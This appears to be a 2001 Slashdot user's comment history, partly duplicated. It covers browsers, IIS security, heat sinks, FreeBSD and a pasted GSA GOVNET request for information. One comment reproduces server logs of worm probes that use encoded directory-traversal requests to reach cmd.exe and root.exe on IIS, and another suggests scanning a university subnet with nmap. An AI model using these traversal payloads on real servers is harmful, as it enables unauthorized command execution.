I agree that this is cool, but come on now, why are we posting stories about something that doesnt yet work? Can't we wait until it 1) works well (the page states that other high performance heat sinks with large fans outperform it), and 2)doesnt damage the chips (We first tested the Zen Radiator, then the PAL 6035, and finally the MC462. After the first run we thought it a good idea to run the test again with the Zen Radiator in order to verify our results. This turned out to be a bad idea. The installation was again rather painful. Again a lot of pressure and time was necessary until we finally managed to connect the Zen Radiator with the socket. After powering up, the OS did not boot. To make it short: when mounting the unit on the socket, we had damaged the CPU. Chunks from all 4 corners of the die were broken off.)...
It's cool and all, but if this were software, it would surely be beta. Do we really need beta announcements? (*cough* mozilla *cough*)...
The answer: yes. All pages of slashdot are equally customizable. If you go to your user info page (http://slashdot.org/users.pl) and click "homepage", there's a list of articles and types of articles you can exclude or include. Obviously, if you check something, it's going to change the default behavior. I, personally, ignore all of the "your rights online" and anything by jon katz. It saves me having to get in the flame wars that ensue.
Show me a laptop that has a drive that can not be reformatted.
Just because you buy it, does not mean you have to use or keep it.
Interesting comment in related news...
on
Microsoft's Future
·
· Score: 5, Interesting
If one chooses to click the link at the top of the story that says "Get article background", you'll find an interesting bit at the bottom:
Meanwhile Microsoft is speeding ahead with.NET, an ambitious project to create an alternative platform for online applications (a sort of Windows for the Internet). But the company's strategies for both.NET and Windows XP, Microsoft's newly released operating system, show heavy-handed tactics. Microsoft is also gearing up for battle against foes as diverse as open-source software and America Online.(Emphasis added)
OSS ranked along side AOL in the battle against Microsoft. Interesting, if not frightening.
I really hate to say this, and it's not a flame, but I think most of the problems *nix users have with IE is they expect it to work by default. Perfectly. And if they dont, they try hacking at it like they do in *nix, and cause problems (kill off the stability)...
I use mozilla. It rocks. It has tabs, it has mouse gestures, it's fast and it's really stable. I can theme it any way I want. I of course have IE installed but I never fire it up unless I visit one or two percent of the sites that insist on it.
Comparing speed between mozilla and ie6 isnt even close. IE6 will win most rendering contests almost every time. IE6 is also substantially more stable than ie5.x (I think I recall only one crash in the 4 months I've been running it : Netscape 4.76 used to crash four to five times a day in debian...)
Besides Mozilla does not leak my personal information, it does not have cryptic option names designed to fool me, it does not keep sending me to MSN, it does not accept activeX controls, it does not execute viruses automatically, and best of all it allows me to turn off popups on page load.
Going back to my previous statement, all of these things can be fixed, except the pop-ups. From the top menu, choose tools, and then internet options. Under the security and privacy tabs, set who YOU want to be able to get your information. Dont take the default, it's as simple as that. Tell IE6 NOT to run activex, or to ask you first. Tell it not to execute ANY binary files, period. Tell it not to send you to msn, set your homepage to/. or google.
The only problem that i see with msn, that i dont like, is the 404 redirect. I'm looking into a way to change this. Other than that, I couldnt be happier with ie6.
flames and trolls aside, why should everyone have to modify their pre-existing sites to conform to a new browser? Why cant all browsers conform to the existing sites? If every website has to make modifications to support mozilla, NOBODY is going to like it....
text form, in case you cant read .docs
on
GOVNET In the Works
·
· Score: 2, Informative
posted without the +1 bonus, so it's easy to ignore:
Request for Information for a Government Network Designed to Serve Critical Government Functions (GOVNET)
1.0 SUBJECT
Request for Information (RFI) for a Government Network designed to provide protected services for critical Government functions. The network is designated GOVNET. Responses are due to this RFI by 4:00 PM on November 21, 2001. See section 8.0 for further information.
2.0 DESCRIPTION
The General Services Administration, at the request of the Executive Office of the President of the United States, and the newly designated Advisor for Cyberspace Security, and in support of National Security goals established by the President, is seeking information from industry that will assist in the development and deployment of a special telecommunications network, GOVNET.
Specifically, this RFI seeks the following information:
Conceptual technical architecture alternatives
Technical feasibility alternatives assessments
Approximate cost information (i.e., order of magnitude, ballpark estimates, etc.) for alternatives
Information about spare or unused telecommunications capacities that could support GOVNET minimizing the need for special construction and associated costs and time delays
Schedule estimates
Ideas and suggestions that provide alternative approaches to designing, developing, acquiring, operating, and managing GOVNET
3.0 REQUIREMENTS
This section enumerates the high-level functional requirements for GOVNET. For purposes of responding to the RFI, requirements in the form of hypothetical locations to be served and associated traffic requirements for initial operational capability (IOC) will be made available to interested respondents at an information exchange meeting (see Section 6.0, below).
GOVNET will be a private Internet Protocol (IP) network shared by government agencies and other authorized users only. GOVNET will provide connectivity among users to a defined set (to be determined) of service delivery points.
There will be no interconnections or gateways to the Internet or other public or private networks. This applies to any network management, control, and maintenance functions for GOVNET as well. Initially, GOVNET will provide private intranet data connectivity within the contiguous 48 United States (CONUS).
GOVNET will provide commercial-grade voice communications capabilities within the network among specified users using the data network components and protocols. Voice services to be supported will include, but not be limited to, conferencing and multicast/broadcast. No connections or gateways to the PSTN or SS7 are envisioned for voice communications.
The potential for adding video communications also exists as a secondary requirement at this time. Video services to be supported will include, but not be limited to, conferencing and multicast/broadcast. As with voice requirements, there will be no communications or gateways outside of GOVNET.
GOVNET will support critical government functions and will be immune from malicious service and/or functional disruptions to which the shared public networks are vulnerable (i.e., so-called cyber attacks). In particular, it shall be impossible for malicious or intentionally disruptive activities (e.g., denial of service attacks) to be perpetrated within GOVNET from any network external to GOVNET. Similarly, it shall be impossible for malicious code (e.g., computer viruses) to penetrate GOVNET from any network external to GOVNET.
GOVNET will provide the highest levels of reliability and availability including trunk and access diversity, and rapid response times for customer outages. This RFI does not specify a particular requirement for availability or reliability. Responses to this RFI will assist in establishing this requirement. In formulating responses, each respondent should describe the reliability and availability characteristics of each alternative included in their response.
GOVNET traffic will be secure (i.e., encrypted by the network using NSA approved encryption techniques), and will be suitable for carrying classified information. For purposes of this RFI respondents should assume encryption of payload data only. No encryption of routing or addressing information is contemplated at this time.
GOVNET will be a turnkey solution offered and priced as a service to participating users. For purposes of this RFI, assume a single invoice with supporting detail presented monthly to GSA will be acceptable.
GOVNET will offer bandwidth-on-demand services at user locations and will be scalable to meet growth in overall network demand and/or peak requirements.
All GOVNET components and links must be located in the U.S. or Canada.
GOVNET shall evolve to maintain technology and service currency with state of the art commercial services to the maximum extent practical.
GOVNET will be operated on a 24/7 basis by the contractor.
GOVNET will provide initial operational capabilities (IOC) within six months from contract award. For purposes of responding to the RFI, IOC is defined as full GOVNET IP connectivity to all locations that will be made available at the public information exchange meeting. Within 12 months after award, voice and video capabilities will be available on GOVNET.
Other requirements not directly related to physical network and services isolation will be addressed at a later date. Examples of such requirements include security policies and security management requirements, required active defense measures, security of network management and control technologies, network capacities, service level agreements, and other important considerations.
The purpose of this RFI is to gather information about those requirements enumerated above. To the extent simplifying assumptions are needed, respondents are encouraged to make and document such assumptions in their responses.
4.0 POSSIBLE NETWORK SOLUTION
GOVNET must meet the functional requirements specified above. The Government is open to alternative concepts for solutions that meet these requirements. The Government encourages creativity and outside the box thinking in responses to this RFI.
One possible solution would be to build a completely dedicated network based on dedicated physical fiber pairs and full path diversity. All hardware would be dedicated, including all transmission equipment, routers, switches, multiplexing equipment, network management and control equipment, etc. In addition, all management and operational personnel would be fully dedicated to the network.
This RFI seeks information about a fully dedicated non-shared network as well as other approaches that could meet the functional requirements with additional levels of sharing of personnel, equipment, and connectivity paths. In doing so, the Government seeks to understand the tradeoffs among risks, costs (initial and ongoing) and alternative technical architectures that incorporate increasing degrees of sharing.
Accordingly, respondents are encouraged to provide information about any alternatives that can be demonstrated to be immune from the kinds of disruptions described in section 3.0, above.
5.0 SAMPLE RESPONSE OUTLINE
Following is a suggested outline and suggested page counts for a response to this RFI. This outline is intended to minimize the effort of the respondent and structure the responses for ease of analysis by the government. Nevertheless, respondents are free to develop their response as they see fit.
Section 1 - Conceptual Alternatives
Briefly describe two or more alternative architecture concepts for GOVNET, including the reliability and availability characteristics of the alternatives. Discuss the capability for the architecture to expand to meet video requirements, and to meet needs outside CONUS. (3-5 pages per alternative with one diagram per alternative identifying the brand/type of equipment that would typically be deployed)
Section 2 - Feasibility Assessment
Briefly describe the feasibility of each alternative and the design tradeoffs involved as matched against the functional requirements and risks of penetration. (1 page per alternative)
Section 3 - Cost and Schedule Estimates
Provide cost estimates for each alternative for 5 and 10-year contract terms for non-recurring and annual recurring costs using the locations provided at the public information exchange meeting(one page table). Also, discuss cost drivers, cost tradeoffs, and schedule considerations (2-3 pages)
Section 4 - Corporate Expertise
Briefly describe your company, your products and services, history, ownership, financial information, and other information you deem relevant. (no suggested page count)
In particular, please describe any projects you have been involved in that are similar in concept to what is described in this RFI, including management and operations approach, security requirements, security assurance processes, and any relevant lessons learned (1-2 pages per project).
Include any comments on the structure of the requirements for a formal RFP response.
Note - please also describe any network capacity assets that you might be willing to dedicate for deploying GOVNET. Examples of such assets might include unsold or unsubscribed capacities, so-called dark fiber routes, assets designated for liquidation or that are financially under-performing, etc.
Section 5 - Additional Materials
Please provide any other materials, suggestions, and discussion you deem appropriate.
6.0 INFORMATION EXCHANGE MEETINGS
GSA and the Special Advisor for Cyberspace Security will hold an information exchange meeting to discuss this RFI with interested potential respondents. Details about this meeting will be made available at a later date. If you wish to attend this meeting, please respond to the contact provided in section 8.0, below.
In addition, GSA will consider meeting individually with interested potential respondents. If you are interested in requesting such a meeting, please respond to the contact provided in section 8.0, below.
7.0 DISCLAIMER
This RFI is issued solely for information and planning purposes only and does not constitute a solicitation. All information received in response to this RFI that is marked Proprietary will be handled accordingly. Responses to the RFI will not be returned. In accordance with FAR 15.202(e), responses to this notice are not an offers and cannot be accepted by the Government to form a binding contract. Responders are solely responsible for all expenses associated with responding to this RFI.
8.0 CONTACT INFORMATION
Following is the Point of Contact (POC) for this RFI, including the public information exchange meeting:
Mr. John (Jack) Braun
(703) 306-6423
jack.braun@gsa.gov
Please submit responses via e-mail in Microsoft Office format by 4:00 PM on November 21, 2001, to the POC at: govnet.ts.fts@gsa.gov. You may also submit supplemental hardcopy materials such as brochures, etc. (5 copies each) to the POC.
the ability to overclock a chip says nothing for the quality of that chip.... i've never seen anyone throw away a processor out of a sun box because it couldnt be overclocked... besides, nobody overclocks in real situations, as it's known to cause computational errors. So, go ahead, buy your cheap $50 durons, and coverclock them to your heart's delight, but realize that that is NOT how businesses who buy systems operate, and what works in your house doesnt work for large companies.
Us? I see you. and you alone. If you feel the need to stand up for what you believe in, stand alone, and be proud of it, dont try to act like y ou're part of a larger, greater movement, you coward.
that's php-Nuke... which is, in and of itself, a violation of the GPL, as the "author" stole most of the code from a gpl set of scripts called thatware
yea, if i knew there was a life sentence for walking on the grass, i'd use the damn sidewalk, wouldnt you?
i dont like the terms of the law, but i have no problem with the concept. slashdotters keep complaining about "script kiddies getting hand slapped" for viruses, and then they bitch when someone takes action to increase the punishment. it's pure, blatant, pathetic hypocrisy. if you dont want to go to jail, dont fuck with other people's systems. period. paragraph. end of story.
it's almost certainly been done... go to a university sometime, run nmap on the subnet (for educational purposes only) , watch how many win2k/win2k server boxes are running, and then guess at how many of them paid for it... or, alternatively, go to netcraft, and search in the subnet of your choice, and see whe IIS/win2k distribution at the college level.
I run IIS on win2k (on this box, I also have Apache on Freebsd under the desk), and my server's never had ANY of these problems, because it isnt hard to patch them correctly....
Dont randomly say that IIS isnt secure, it's only as secure as the operator makes it. If you follow Microsoft's instructions, the default.ida and other indexing holes are removed as soon as installation is complete. The problem is that most of the people getting hit are probably running illegal versions because "its better than 98", dont know what they're doing, dont update, and dont care...
Slashdot Mirror
So did mine... I even linked to three sites (yahoo, cnn, msnbc)... I must have been a few minutes behind.
2001-11-08 17:22:18 Bush advisor speaks out AGAINST National ID Card (articles,news) (rejected)
I agree that this is cool, but come on now, why are we posting stories about something that doesnt yet work? Can't we wait until it 1) works well (the page states that other high performance heat sinks with large fans outperform it), and 2)doesnt damage the chips (We first tested the Zen Radiator, then the PAL 6035, and finally the MC462. After the first run we thought it a good idea to run the test again with the Zen Radiator in order to verify our results. This turned out to be a bad idea. The installation was again rather painful. Again a lot of pressure and time was necessary until we finally managed to connect the Zen Radiator with the socket. After powering up, the OS did not boot. To make it short: when mounting the unit on the socket, we had damaged the CPU. Chunks from all 4 corners of the die were broken off.)...
...
It's cool and all, but if this were software, it would surely be beta. Do we really need beta announcements? (*cough* mozilla *cough*)
The answer: yes. All pages of slashdot are equally customizable. If you go to your user info page (http://slashdot.org/users.pl) and click "homepage", there's a list of articles and types of articles you can exclude or include. Obviously, if you check something, it's going to change the default behavior. I, personally, ignore all of the "your rights online" and anything by jon katz. It saves me having to get in the flame wars that ensue.
I cant ever figure these things out either, so I use acronymfinder.com ....
and they seem to suggest it means "request for proposal" ?
Similarly,
Show me a laptop that has a drive that can not be reformatted.
Just because you buy it, does not mean you have to use or keep it.
OSS ranked along side AOL in the battle against Microsoft. Interesting, if not frightening.
it'll help. really. :
SLA : Service Level Agreement
SLA : Software License Agreement
I really hate to say this, and it's not a flame, but I think most of the problems *nix users have with IE is they expect it to work by default. Perfectly. And if they dont, they try hacking at it like they do in *nix, and cause problems (kill off the stability)...
/. or google.
I use mozilla. It rocks. It has tabs, it has mouse gestures, it's fast and it's really stable. I can theme it any way I want. I of course have IE installed but I never fire it up unless I visit one or two percent of the sites that insist on it.
Comparing speed between mozilla and ie6 isnt even close. IE6 will win most rendering contests almost every time. IE6 is also substantially more stable than ie5.x (I think I recall only one crash in the 4 months I've been running it : Netscape 4.76 used to crash four to five times a day in debian...)
Besides Mozilla does not leak my personal information, it does not have cryptic option names designed to fool me, it does not keep sending me to MSN, it does not accept activeX controls, it does not execute viruses automatically, and best of all it allows me to turn off popups on page load.
Going back to my previous statement, all of these things can be fixed, except the pop-ups. From the top menu, choose tools, and then internet options. Under the security and privacy tabs, set who YOU want to be able to get your information. Dont take the default, it's as simple as that. Tell IE6 NOT to run activex, or to ask you first. Tell it not to execute ANY binary files, period. Tell it not to send you to msn, set your homepage to
The only problem that i see with msn, that i dont like, is the 404 redirect. I'm looking into a way to change this. Other than that, I couldnt be happier with ie6.
flames and trolls aside, why should everyone have to modify their pre-existing sites to conform to a new browser? Why cant all browsers conform to the existing sites? If every website has to make modifications to support mozilla, NOBODY is going to like it....
posted without the +1 bonus, so it's easy to ignore:
Request for Information for a Government Network Designed to Serve Critical Government Functions (GOVNET)
1.0 SUBJECT
Request for Information (RFI) for a Government Network designed to provide protected services for critical Government functions. The network is designated GOVNET. Responses are due to this RFI by 4:00 PM on November 21, 2001. See section 8.0 for further information.
2.0 DESCRIPTION
The General Services Administration, at the request of the Executive Office of the President of the United States, and the newly designated Advisor for Cyberspace Security, and in support of National Security goals established by the President, is seeking information from industry that will assist in the development and deployment of a special telecommunications network, GOVNET.
Specifically, this RFI seeks the following information:
Conceptual technical architecture alternatives
Technical feasibility alternatives assessments
Approximate cost information (i.e., order of magnitude, ballpark estimates, etc.) for alternatives
Information about spare or unused telecommunications capacities that could support GOVNET minimizing the need for special construction and associated costs and time delays
Schedule estimates
Ideas and suggestions that provide alternative approaches to designing, developing, acquiring, operating, and managing GOVNET
3.0 REQUIREMENTS
This section enumerates the high-level functional requirements for GOVNET. For purposes of responding to the RFI, requirements in the form of hypothetical locations to be served and associated traffic requirements for initial operational capability (IOC) will be made available to interested respondents at an information exchange meeting (see Section 6.0, below).
GOVNET will be a private Internet Protocol (IP) network shared by government agencies and other authorized users only. GOVNET will provide connectivity among users to a defined set (to be determined) of service delivery points.
There will be no interconnections or gateways to the Internet or other public or private networks. This applies to any network management, control, and maintenance functions for GOVNET as well. Initially, GOVNET will provide private intranet data connectivity within the contiguous 48 United States (CONUS).
GOVNET will provide commercial-grade voice communications capabilities within the network among specified users using the data network components and protocols. Voice services to be supported will include, but not be limited to, conferencing and multicast/broadcast. No connections or gateways to the PSTN or SS7 are envisioned for voice communications.
The potential for adding video communications also exists as a secondary requirement at this time. Video services to be supported will include, but not be limited to, conferencing and multicast/broadcast. As with voice requirements, there will be no communications or gateways outside of GOVNET.
GOVNET will support critical government functions and will be immune from malicious service and/or functional disruptions to which the shared public networks are vulnerable (i.e., so-called cyber attacks). In particular, it shall be impossible for malicious or intentionally disruptive activities (e.g., denial of service attacks) to be perpetrated within GOVNET from any network external to GOVNET. Similarly, it shall be impossible for malicious code (e.g., computer viruses) to penetrate GOVNET from any network external to GOVNET.
GOVNET will provide the highest levels of reliability and availability including trunk and access diversity, and rapid response times for customer outages. This RFI does not specify a particular requirement for availability or reliability. Responses to this RFI will assist in establishing this requirement. In formulating responses, each respondent should describe the reliability and availability characteristics of each alternative included in their response.
GOVNET traffic will be secure (i.e., encrypted by the network using NSA approved encryption techniques), and will be suitable for carrying classified information. For purposes of this RFI respondents should assume encryption of payload data only. No encryption of routing or addressing information is contemplated at this time.
GOVNET will be a turnkey solution offered and priced as a service to participating users. For purposes of this RFI, assume a single invoice with supporting detail presented monthly to GSA will be acceptable.
GOVNET will offer bandwidth-on-demand services at user locations and will be scalable to meet growth in overall network demand and/or peak requirements.
All GOVNET components and links must be located in the U.S. or Canada.
GOVNET shall evolve to maintain technology and service currency with state of the art commercial services to the maximum extent practical.
GOVNET will be operated on a 24/7 basis by the contractor.
GOVNET will provide initial operational capabilities (IOC) within six months from contract award. For purposes of responding to the RFI, IOC is defined as full GOVNET IP connectivity to all locations that will be made available at the public information exchange meeting. Within 12 months after award, voice and video capabilities will be available on GOVNET.
Other requirements not directly related to physical network and services isolation will be addressed at a later date. Examples of such requirements include security policies and security management requirements, required active defense measures, security of network management and control technologies, network capacities, service level agreements, and other important considerations.
The purpose of this RFI is to gather information about those requirements enumerated above. To the extent simplifying assumptions are needed, respondents are encouraged to make and document such assumptions in their responses.
4.0 POSSIBLE NETWORK SOLUTION
GOVNET must meet the functional requirements specified above. The Government is open to alternative concepts for solutions that meet these requirements. The Government encourages creativity and outside the box thinking in responses to this RFI.
One possible solution would be to build a completely dedicated network based on dedicated physical fiber pairs and full path diversity. All hardware would be dedicated, including all transmission equipment, routers, switches, multiplexing equipment, network management and control equipment, etc. In addition, all management and operational personnel would be fully dedicated to the network.
This RFI seeks information about a fully dedicated non-shared network as well as other approaches that could meet the functional requirements with additional levels of sharing of personnel, equipment, and connectivity paths. In doing so, the Government seeks to understand the tradeoffs among risks, costs (initial and ongoing) and alternative technical architectures that incorporate increasing degrees of sharing.
Accordingly, respondents are encouraged to provide information about any alternatives that can be demonstrated to be immune from the kinds of disruptions described in section 3.0, above.
5.0 SAMPLE RESPONSE OUTLINE
Following is a suggested outline and suggested page counts for a response to this RFI. This outline is intended to minimize the effort of the respondent and structure the responses for ease of analysis by the government. Nevertheless, respondents are free to develop their response as they see fit.
Section 1 - Conceptual Alternatives
Briefly describe two or more alternative architecture concepts for GOVNET, including the reliability and availability characteristics of the alternatives. Discuss the capability for the architecture to expand to meet video requirements, and to meet needs outside CONUS. (3-5 pages per alternative with one diagram per alternative identifying the brand/type of equipment that would typically be deployed)
Section 2 - Feasibility Assessment
Briefly describe the feasibility of each alternative and the design tradeoffs involved as matched against the functional requirements and risks of penetration. (1 page per alternative)
Section 3 - Cost and Schedule Estimates
Provide cost estimates for each alternative for 5 and 10-year contract terms for non-recurring and annual recurring costs using the locations provided at the public information exchange meeting(one page table). Also, discuss cost drivers, cost tradeoffs, and schedule considerations (2-3 pages)
Section 4 - Corporate Expertise
Briefly describe your company, your products and services, history, ownership, financial information, and other information you deem relevant. (no suggested page count)
In particular, please describe any projects you have been involved in that are similar in concept to what is described in this RFI, including management and operations approach, security requirements, security assurance processes, and any relevant lessons learned (1-2 pages per project).
Include any comments on the structure of the requirements for a formal RFP response.
Note - please also describe any network capacity assets that you might be willing to dedicate for deploying GOVNET. Examples of such assets might include unsold or unsubscribed capacities, so-called dark fiber routes, assets designated for liquidation or that are financially under-performing, etc.
Section 5 - Additional Materials
Please provide any other materials, suggestions, and discussion you deem appropriate.
6.0 INFORMATION EXCHANGE MEETINGS
GSA and the Special Advisor for Cyberspace Security will hold an information exchange meeting to discuss this RFI with interested potential respondents. Details about this meeting will be made available at a later date. If you wish to attend this meeting, please respond to the contact provided in section 8.0, below.
In addition, GSA will consider meeting individually with interested potential respondents. If you are interested in requesting such a meeting, please respond to the contact provided in section 8.0, below.
7.0 DISCLAIMER
This RFI is issued solely for information and planning purposes only and does not constitute a solicitation. All information received in response to this RFI that is marked Proprietary will be handled accordingly. Responses to the RFI will not be returned. In accordance with FAR 15.202(e), responses to this notice are not an offers and cannot be accepted by the Government to form a binding contract. Responders are solely responsible for all expenses associated with responding to this RFI.
8.0 CONTACT INFORMATION
Following is the Point of Contact (POC) for this RFI, including the public information exchange meeting:
Mr. John (Jack) Braun
(703) 306-6423
jack.braun@gsa.gov
Please submit responses via e-mail in Microsoft Office format by 4:00 PM on November 21, 2001, to the POC at: govnet.ts.fts@gsa.gov. You may also submit supplemental hardcopy materials such as brochures, etc. (5 copies each) to the POC.
FreeBSD 5.0 is well into development, and will most likely be finished ...
5 .0.1 i386
It seems relatively decent, with no obvious problems...
It's somewhat disheartening to see this the same night I upped my box to 5.0...
jeff@boris [2:53am] ~: uname -a
FreeBSD boris.st.hmc.edu 5.0-CURRENT FreeBSD 5.0-CURRENT #0: Thu Oct 4 17:49:06 PDT 2001 root@boris.st.hmc.edu:/usr/obj/usr/src/sys/BORIS.
Budget (the rental car company) already implemented that, and they started tacking fines onto invoices.
One has to wonder ... is he still employed?
just a thought.
well, two thoughts ....
... if rob posted something as a comment, the trolls would be all over it in no time
1) i like the general idea of being able to mod down an editor for shit like starting flame wars and blatant bias
2) realistically, it wont happen
the ability to overclock a chip says nothing for the quality of that chip .... i've never seen anyone throw away a processor out of a sun box because it couldnt be overclocked... besides, nobody overclocks in real situations, as it's known to cause computational errors. So, go ahead, buy your cheap $50 durons, and coverclock them to your heart's delight, but realize that that is NOT how businesses who buy systems operate, and what works in your house doesnt work for large companies.
Bite us, you coward.
Us? I see you. and you alone. If you feel the need to stand up for what you believe in, stand alone, and be proud of it, dont try to act like y ou're part of a larger, greater movement, you coward.
And when microsoft releases software that's slow, and buggy, and then fixes it later, everyone bitches ....
hypocrisy and jealousy on slashdot are pathetic.
that's php-Nuke ... which is, in and of itself, a violation of the GPL, as the "author" stole most of the code from a gpl set of scripts called thatware
yea, if i knew there was a life sentence for walking on the grass, i'd use the damn sidewalk, wouldnt you?
i dont like the terms of the law, but i have no problem with the concept. slashdotters keep complaining about "script kiddies getting hand slapped" for viruses, and then they bitch when someone takes action to increase the punishment. it's pure, blatant, pathetic hypocrisy. if you dont want to go to jail, dont fuck with other people's systems. period. paragraph. end of story.
it's almost certainly been done ... go to a university sometime, run nmap on the subnet (for educational purposes only) , watch how many win2k/win2k server boxes are running, and then guess at how many of them paid for it ... or, alternatively, go to netcraft, and search in the subnet of your choice, and see whe IIS/win2k distribution at the college level.
you should have known he was trolling when he said that some of the ISO's were approaching a gig....
it seems the pattern is shifting, and attempting to spread around the globe, as i'm getting hits from germany and france now...
/MSADC/root.exe?/c+dir HTTP/1.0" 404 276 "-" "-"
/scripts/root.exe?/c+dir HTTP/1.0" 404 276 "-" "-"
/MSADC/root.exe?/c+dir HTTP/1.0" 404 276 "-" "-"
/scripts/root.exe?/c+dir HTTP/1.0" 404 276 "-" "-"
/c/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 276 "-" "-"
/c/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 276 "-" "-"
/d/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 276 "-" "-"
/d/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 276 "-" "-"
/scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 276 "-" "-"
/scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 276 "-" "-"
/_vti_bin/..%255c../..%255c../..%255c../winnt/syst em32/cmd.exe?/c+dir HTTP/1.0" 404 276 "-" "-"
/_vti_bin/..%255c../..%255c../..%255c../winnt/syst em32/cmd.exe?/c+dir HTTP/1.0" 404 276 "-" "-"
/_mem_bin/..%255c../..%255c../..%255c../winnt/syst em32/cmd.exe?/c+dir HTTP/1.0" 404 276 "-" "-"
/_mem_bin/..%255c../..%255c../..%255c../winnt/syst em32/cmd.exe?/c+dir HTTP/1.0" 404 276 "-" "-"
/msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c 1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 276 "-" "-"
/msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c 1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 276 "-" "-"
/scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 276 "-" "-"
/scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 276 "-" "-"
/scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 276 "-" "-"
/scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 276 "-" "-"
/scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 276 "-" "-"
/scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 276 "-" "-"
/scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 276 "-" "-"
/scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 276 "-" "-"
/scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 400 333 "-" "-"
/scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 400 333 "-" "-"
/scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 400 333 "-" "-"
/scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 400 333 "-" "-"
/scripts/..%25%35%63../winnt/system32/cmd.exe?/c+d ir HTTP/1.0" 404 276 "-" "-"
/scripts/..%25%35%63../winnt/system32/cmd.exe?/c+d ir HTTP/1.0" 404 276 "-" "-"
pck2.univ-lille1.fr - - [18/Sep/2001:13:03:19 -0700] "GET
pck2.univ-lille1.fr - - [18/Sep/2001:13:03:19 -0700] "GET
pck2.univ-lille1.fr - - [18/Sep/2001:13:03:19 -0700] "GET
pck2.univ-lille1.fr - - [18/Sep/2001:13:03:20 -0700] "GET
pck2.univ-lille1.fr - - [18/Sep/2001:13:03:24 -0700] "GET
pck2.univ-lille1.fr - - [18/Sep/2001:13:03:24 -0700] "GET
pck2.univ-lille1.fr - - [18/Sep/2001:13:03:28 -0700] "GET
pck2.univ-lille1.fr - - [18/Sep/2001:13:03:29 -0700] "GET
pck2.univ-lille1.fr - - [18/Sep/2001:13:03:32 -0700] "GET
pck2.univ-lille1.fr - - [18/Sep/2001:13:03:33 -0700] "GET
pck2.univ-lille1.fr - - [18/Sep/2001:13:03:39 -0700] "GET
pck2.univ-lille1.fr - - [18/Sep/2001:13:03:39 -0700] "GET
pck2.univ-lille1.fr - - [18/Sep/2001:13:03:46 -0700] "GET
pck2.univ-lille1.fr - - [18/Sep/2001:13:03:47 -0700] "GET
pck2.univ-lille1.fr - - [18/Sep/2001:13:03:54 -0700] "GET
pck2.univ-lille1.fr - - [18/Sep/2001:13:03:55 -0700] "GET
pck2.univ-lille1.fr - - [18/Sep/2001:13:04:02 -0700] "GET
pck2.univ-lille1.fr - - [18/Sep/2001:13:04:03 -0700] "GET
pck2.univ-lille1.fr - - [18/Sep/2001:13:04:10 -0700] "GET
pck2.univ-lille1.fr - - [18/Sep/2001:13:04:11 -0700] "GET
pck2.univ-lille1.fr - - [18/Sep/2001:13:04:19 -0700] "GET
pck2.univ-lille1.fr - - [18/Sep/2001:13:04:19 -0700] "GET
pck2.univ-lille1.fr - - [18/Sep/2001:13:04:26 -0700] "GET
pck2.univ-lille1.fr - - [18/Sep/2001:13:04:27 -0700] "GET
pck2.univ-lille1.fr - - [18/Sep/2001:13:04:34 -0700] "GET
pck2.univ-lille1.fr - - [18/Sep/2001:13:04:35 -0700] "GET
pck2.univ-lille1.fr - - [18/Sep/2001:13:04:41 -0700] "GET
pck2.univ-lille1.fr - - [18/Sep/2001:13:04:42 -0700] "GET
pck2.univ-lille1.fr - - [18/Sep/2001:13:04:51 -0700] "GET
pck2.univ-lille1.fr - - [18/Sep/2001:13:04:52 -0700] "GET
No, you havent .... I did it too, and as long as you dont OPEN the readme.eml (with say, outlook or eurdora), the file never gets executed.
First hit here (Los angeles) ... 18/Sep/2001:07:27:37 -0700
I run IIS on win2k (on this box, I also have Apache on Freebsd under the desk), and my server's never had ANY of these problems, because it isnt hard to patch them correctly....
Dont randomly say that IIS isnt secure, it's only as secure as the operator makes it. If you follow Microsoft's instructions, the default.ida and other indexing holes are removed as soon as installation is complete. The problem is that most of the people getting hit are probably running illegal versions because "its better than 98", dont know what they're doing, dont update, and dont care...